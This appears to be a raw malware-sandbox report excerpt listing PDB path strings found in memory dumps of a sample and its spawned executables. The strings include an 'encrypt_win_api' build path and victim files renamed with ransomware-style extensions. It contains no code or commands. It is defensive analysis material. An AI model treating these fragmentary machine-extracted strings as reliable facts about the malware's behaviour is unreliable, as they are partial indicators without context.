Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: SUwX12D2S6.exe, 00000004.00000003.2135736768.0000000003479000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135411368.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: SUwX12D2S6.exe, 00000004.00000003.2157081568.0000000003462000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156718696.00000000033E7000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157423104.0000000003476000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbN source: SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2183331491.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202393003.000000000376B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\S5 source: SUwX12D2S6.exe, 00000004.00000003.2232069068.0000000003579000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2184874668.0000000003416000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2184048113.0000000003413000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\*YW: source: SUwX12D2S6.exe, 00000004.00000003.2209514089.0000000003811000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2215986355.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217021524.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231922111.000000000383E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211005248.0000000003817000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorzq source: SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2174356824.00000000037A2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2183331491.00000000037A2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2185146314.00000000037A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\-a source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ta\\\(* source: SUwX12D2S6.exe, 00000004.00000003.2232069068.0000000003579000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgzqgn source: SUwX12D2S6.exe, 00000004.00000003.2110681040.00000000034F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\che\C source: SUwX12D2S6.exe, 00000004.00000003.2208481995.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\: source: SUwX12D2S6.exe, 00000004.00000003.2158968195.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156658910.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2169889587.00000000033C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2209514089.0000000003811000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2210867698.0000000003743000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2218755081.000000000374A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2215986355.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217021524.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231922111.000000000383E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217347390.000000000374A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211005248.0000000003817000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s\15 source: SUwX12D2S6.exe, 00000004.00000003.2209514089.000000000380B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202393003.00000000037AA000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202710386.00000000037CB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203093794.00000000037E3000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2208481995.00000000037AA000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2208818329.00000000037CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1785156949.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1781524100.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1783808645.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: SUwX12D2S6.exe, 00000004.00000003.2233587760.000000000394F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233015637.000000000390F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\=V source: SUwX12D2S6.exe, 00000004.00000003.2174162610.00000000033B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\;Sy4N source: SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\cl source: SUwX12D2S6.exe, 00000004.00000003.2110134134.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2111097747.0000000003405000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226563641.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2158068491.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156495174.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2158347421.0000000003576000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2174316337.000000000359D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2169782007.0000000003596000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159372299.0000000003596000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbhe.txt.bgzqxt source: SUwX12D2S6.exe, 00000004.00000003.2109828995.0000000003479000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110380294.000000000348D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\y source: SUwX12D2S6.exe, 00000004.00000003.2236436289.00000000038EE000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2202393003.00000000037AA000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202710386.00000000037CB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203093794.00000000037E3000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2183331491.00000000037A2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2185146314.00000000037A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorONTENT_TASKBARHEADLINES.jsontxt source: SUwX12D2S6.exe, 00000004.00000003.2109828995.0000000003479000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2110380294.000000000348D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\*Bi source: SUwX12D2S6.exe, 00000004.00000003.2226723722.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2184121684.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2225540969.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2201804626.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2170520541.00000000033D7000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2246470832.00000000033D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\r\\b. source: SUwX12D2S6.exe, 00000004.00000003.2231998014.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226563641.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233139919.000000000387B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2232892838.000000000386A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231922111.000000000383E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2231998014.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226563641.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233139919.000000000387B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2232892838.000000000386A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231922111.000000000383E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: SUwX12D2S6.exe, 00000004.00000003.2209514089.0000000003811000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217897189.00000000038AB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2216202881.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2208481995.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217675191.00000000038A9000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2211005248.0000000003817000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226563641.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2215986355.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2217021524.000000000381E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: SUwX12D2S6.exe, SUwX12D2S6.exe, 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\m source: SUwX12D2S6.exe, 00000004.00000003.2158068491.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156495174.000000000353F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2158347421.0000000003576000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2159372299.0000000003596000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\dat.bgzb8 source: SUwX12D2S6.exe, 00000004.00000003.2209514089.000000000380B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202393003.00000000037AA000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2202710386.00000000037CB000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2203093794.00000000037E3000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2208481995.00000000037AA000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2208818329.00000000037CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\** source: SUwX12D2S6.exe, 00000004.00000003.2135736768.0000000003479000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135411368.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\WinX\d.pdb source: SUwX12D2S6.exe, 00000004.00000003.2242116659.000000000375B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: SUwX12D2S6.exe, 00000004.00000003.1785234660.00000000097F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: SUwX12D2S6.exe, 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000003.00000002.1701674378.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000006.00000002.4129272399.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000018.00000002.2116911139.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2233587760.000000000394F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233015637.000000000390F000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231618846.00000000038EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: SUwX12D2S6.exe, 00000004.00000003.2174356824.00000000037A2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2183331491.00000000037A2000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2185146314.00000000037A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.log, source: SUwX12D2S6.exe, 00000004.00000003.1881875981.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.1881957469.00000000033DC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzq source: SUwX12D2S6.exe, 00000004.00000003.2109828995.0000000003479000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2158386481.0000000003410000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135310569.0000000003493000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135411368.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2156718696.00000000033E7000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136261874.000000000350D000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2136368733.0000000003534000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2157238464.000000000340B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2135016253.00000000033F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\RecoveryImproved\.pdb\ source: SUwX12D2S6.exe, 00000004.00000003.2231998014.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223567308.000000000376A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2226563641.0000000003853000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2233139919.000000000387B000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2232892838.000000000386A000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2231922111.000000000383E000.00000004.00000020.00020000.00000000.sdmp, SUwX12D2S6.exe, 00000004.00000003.2223984909.000000000382F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ata\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\_m source: SUwX12D2S6.exe, 00000004.00000003.2185362388.00000000033FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000A.00000000.1805138719.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000A.00000002.1913333134.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000010.00000000.1911812806.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000013.00000000.1918990852.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000002.2018872471.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.2017466458.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2348608889.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2275814306.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2347560708.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.2973317219.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2865813530.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.2972376587.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3583754315.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3466010192.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3582957712.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000020.00000002.4129370107.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000020.00000000.4066108806.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
